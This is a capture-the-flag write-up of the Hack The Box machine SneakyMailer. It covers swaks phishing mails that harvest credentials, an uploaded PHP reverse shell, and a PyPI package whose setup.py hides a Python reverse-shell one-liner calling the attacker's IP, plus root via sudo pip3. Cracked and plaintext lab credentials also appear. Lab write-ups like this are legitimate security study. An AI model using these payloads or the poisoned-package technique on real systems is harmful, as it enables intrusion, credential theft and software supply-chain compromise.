Hack The Box : SneakyMailer
5 September, 2021
Nmap shows a lot of open ports
---------------------Starting Port Scan-----------------------
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
80/tcp open http
143/tcp open imap
993/tcp open imaps
8080/tcp open http-proxy
---------------------Starting Script Scan-----------------------
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
| 256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
|_ 256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING,
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Did not follow redirect to http://sneakycorp.htb
143/tcp open imap Courier Imapd (released 2018)
|_imap-capabilities: NAMESPACE UIDPLUS CHILDREN ACL ENABLE SORT ACL2=UNION UTF8=ACCEPTA0001 THREAD=REFERENCES OK THREAD=ORDEREDSUBJECT completed QUOTA CAPABILITY IDLE STARTTLS IMAP4rev1
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after: 2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
993/tcp open ssl/imap Courier Imapd (released 2018)
|_imap-capabilities: NAMESPACE UIDPLUS CHILDREN ACL ENABLE SORT ACL2=UNION UTF8=ACCEPTA0001 AUTH=PLAIN THREAD=REFERENCES OK THREAD=ORDEREDSUBJECT completed QUOTA IDLE CAPABILITY IMAP4rev1
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after: 2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
8080/tcp open http nginx 1.14.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
Service Info: Host: debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
---------------------Starting Full Scan------------------------
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
80/tcp open http
143/tcp open imap
993/tcp open imaps
8080/tcp open http-proxy
No new ports
The ftp server didn't allow anonymous access. I checked the website next, and there were a bunch of emails on the "Team" page

Using cewl I grabbed all the email addresses
$ cewl -e -w emails http://sneakycorp.htb/team.php
Port 8080 showed the default nginx page and nothing else. gobuster on both the HTTP ports returned nothing.
At this point, I didn't know how to proceed forward so I had to look up for a hint :
Turns that sending an email with a link to all of the above email addresses is a way to progress...
I learnt about swaks and used it send an email with a link containing my IP to all the emails
for E in `cat emails`
do
swaks --to $E --server 10.10.10.197 --from temp@sneakymailer.htb --body "Content : http://10.10.16.5"
echo $E
done
Since I was listening on port 80, as the script progressed, I saw a request arriving
$ sudo nc -lvnp 80
[sudo] password for kali:
listening on [any] 80 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.197] 51796
POST / HTTP/1.1
Host: 10.10.16.5
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 185
Content-Type: application/x-www-form-urlencoded
firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt
Looks like credentials!
^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
I logged in as paulbyrd on the IMAP server and found some more credentials in the "Sent Items" of this account
Hello administrator, I want to change this password for the developer accou=
nt
Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
Using the credentials, I was able to login as developer on the FTP server
There was a directory called dev in there that looked like it had files similar to the website on port 80
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x 8 0 1001 4096 Jun 30 2020 dev
226 Directory send OK.
ftp> ls dev
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 May 26 2020 css
drwxr-xr-x 2 0 0 4096 May 26 2020 img
-rwxr-xr-x 1 0 0 13742 Jun 23 2020 index.php
drwxr-xr-x 3 0 0 4096 May 26 2020 js
drwxr-xr-x 2 0 0 4096 May 26 2020 pypi
drwxr-xr-x 4 0 0 4096 May 26 2020 scss
-rwxr-xr-x 1 0 0 26523 May 26 2020 team.php
drwxr-xr-x 8 0 0 4096 May 26 2020 vendor
226 Directory send OK.
I successfully uploaded a PHP reverse shell in /dev
ftp> put rev.php
local: rev.php remote: rev.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5492 bytes sent in 0.00 secs (33.3604 MB/s)
Now I had to find a way of triggering it... I tried /dev/rev.php but it didn't work. Turns out there was a virtual host called dev as well, so dev.sneakymailer.htb/rev.php worked!
$ nc -lvnp 4242
listening on [any] 4242 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.197] 53636
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux
12:49:33 up 1:05, 0 users, load average: 0.03, 0.03, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:105:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
low:x:1000:1000:,,,:/home/low:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ftp:x:107:115:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
postfix:x:108:116::/var/spool/postfix:/usr/sbin/nologin
courier:x:109:118::/var/lib/courier:/usr/sbin/nologin
vmail:x:5000:5000::/home/vmail:/usr/sbin/nologin
developer:x:1001:1001:,,,:/var/www/dev.sneakycorp.htb:/bin/bash
pypi:x:998:998::/var/www/pypi.sneakycorp.htb:/usr/sbin/nologin
User
Using developer's password I was able to switch user but the flag was not yet readable
$ su developer
Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
id
uid=1001(developer) gid=1001(developer) groups=1001(developer)
whoami
developer
cd /home
ls
low
vmail
ls *
low:
user.txt
venv
ls: cannot open directory 'vmail': Permission denied
cd low
cat user.txt
cat: user.txt: Permission denied
Inside a directory, I found a .htpasswd file with a hash
developer@sneakymailer:/var/www/pypi.sneakycorp.htb$ ls -ltrha
ls -ltrha
total 20K
drwxr-xr-x 6 root root 4.0K May 14 2020 ..
drwxr-xr-x 6 root pypi 4.0K May 14 2020 venv
drwxr-xr-x 4 root root 4.0K May 15 2020 .
-rw-r--r-- 1 root root 43 May 15 2020 .htpasswd
drwxrwx--- 2 root pypi-pkg 4.0K Jun 30 2020 packages
developer@sneakymailer:/var/www/pypi.sneakycorp.htb$ cat .htpasswd
cat .htpasswd
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
Looks like a pypi server was running on this machine on port 5000
developer@sneakymailer:/var/www/pypi.sneakycorp.htb$ ps aux | grep pypi
ps aux | grep pypi
pypi 729 0.0 0.6 36804 25828 ? Ss 11:43 0:03 /var/www/pypi.sneakycorp.htb/venv/bin/python3 /var/www/pypi.sneakycorp.htb/venv/bin/pypi-server -i 127.0.0.1 -p 5000 -a update,download,list -P /var/www/pypi.sneakycorp.htb/.htpasswd --disable-fallback -o /var/www/pypi.sneakycorp.htb/packages
I tried to crack the password, and found a match
$ john --wordlist=rockyou.txt hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
soufianeelhaoui (pypi)
1g 0:00:01:12 DONE 0.01386g/s 49544p/s 49544c/s 49544C/s soufoxinthemyx..soufflekimiamo
Use the "--show" option to display all of the cracked passwords reliably
Session completed
This password didn't work for switching to low... Let's focus on the PyPi server. Looking through the nginx configuration, I found that although the server was listening on 127.0.0.1:5000, nginx was also proxying it through port 8080
www-data@sneakymailer:/etc/nginx/sites-enabled$ cat /etc/nginx/sites-available/pypi.sneakycorp.htb
< cat /etc/nginx/sites-available/pypi.sneakycorp.htb
server {
listen 0.0.0.0:8080 default_server;
listen [::]:8080 default_server;
server_name _;
}
server {
listen 0.0.0.0:8080;
listen [::]:8080;
server_name pypi.sneakycorp.htb;
location / {
proxy_pass http://127.0.0.1:5000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
Now my aim was to create and upload a package with reverse shell python code and somehow execute it. After going through this guide by Linode, it was clear that the setup.py file will be executed at some point automatically after uploading the package.
So I created a package with the following setup.py and uploaded it. Note the reverse shell code wrapped in a try...except, this is because setup.py will be executed locally to compress the package as well and since I wouldn't be listening then, the resulting error will be ignored.
$ ls -ltrha
total 24K
drwxr-xr-x 1 root root 4.0K Sep 5 02:37 shellpy
-rw-r--r-- 1 root root 0 Sep 5 02:37 setup.cfg
-rw-r--r-- 1 root root 352 Sep 5 02:40 setup.py
drwxr-xr-x 1 root root 4.0K Sep 5 02:40 dist
drwxr-xr-x 1 root root 4.0K Sep 5 02:58 shellpy.egg-info
drwxr-xr-x 1 root root 4.0K Sep 5 02:58 .
drwxr-xr-x 1 root root 4.0K Sep 5 03:01 ..
$ cat ~/.pypirc
[distutils]
index-servers =
sneaky
[sneaky]
repository: http://pypi.sneakycorp.htb:8080/
username: pypi
password: soufianeelhaoui
$ cat setup.py
from setuptools import setup
try:
import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.5",4243));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")
except:
pass
setup(
name='shellpy',
packages=['shellpy'],
description='shell',
version='0.1',
)
$ python3 setup.py sdist upload -r sneaky
running sdist
running egg_info
writing shellpy.egg-info/PKG-INFO
writing dependency_links to shellpy.egg-info/dependency_links.txt
writing top-level names to shellpy.egg-info/top_level.txt
reading manifest file 'shellpy.egg-info/SOURCES.txt'
writing manifest file 'shellpy.egg-info/SOURCES.txt'
warning: sdist: standard file not found: should have one of README, README.rst, README.txt, README.md
running check
warning: check: missing required meta-data: url
warning: check: missing meta-data: either (author and author_email) or (maintainer and maintainer_email) should be supplied
creating shellpy-0.1
creating shellpy-0.1/shellpy
creating shellpy-0.1/shellpy.egg-info
copying files to shellpy-0.1...
copying setup.cfg -> shellpy-0.1
copying setup.py -> shellpy-0.1
copying shellpy/__init__.py -> shellpy-0.1/shellpy
copying shellpy.egg-info/PKG-INFO -> shellpy-0.1/shellpy.egg-info
copying shellpy.egg-info/SOURCES.txt -> shellpy-0.1/shellpy.egg-info
copying shellpy.egg-info/dependency_links.txt -> shellpy-0.1/shellpy.egg-info
copying shellpy.egg-info/top_level.txt -> shellpy-0.1/shellpy.egg-info
Writing shellpy-0.1/setup.cfg
Creating tar archive
removing 'shellpy-0.1' (and everything under it)
running upload
Submitting dist/shellpy-0.1.tar.gz to http://pypi.sneakycorp.htb:8080/
Server response (200): OK
On the listener, I caught the shell!
$ nc -lvnp 4243
listening on [any] 4243 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.197] 40434
low@sneakymailer:/$ id
id
uid=1000(low) gid=1000(low) groups=1000(low),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),119(pypi-pkg)
low@sneakymailer:/$ whoami
whoami
low
low@sneakymailer:/$ cd
cd
low@sneakymailer:~$ cat user.txt
cat user.txt
<flag>
User flag obtained! I continued by logging in as low through SSH, since I was able to add my public key to authorized_keys
Root
low was allowed to run pip3 as root
low@sneakymailer:~$ sudo -l
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Matching Defaults entries for low on sneakymailer:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User low may run the following commands on sneakymailer:
(root) NOPASSWD: /usr/bin/pip3
Using a similar setup.py as before, I was able to get a reverse shell as root
low@sneakymailer:~/temp$ sudo /usr/bin/pip3 install .
$ nc -lvnp 4244
listening on [any] 4244 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.197] 56216
# id
id
uid=0(root) gid=0(root) groups=0(root)
# whoami
whoami
root
# cd /root
cd /root
# cat root.txt
cat root.txt
<flag>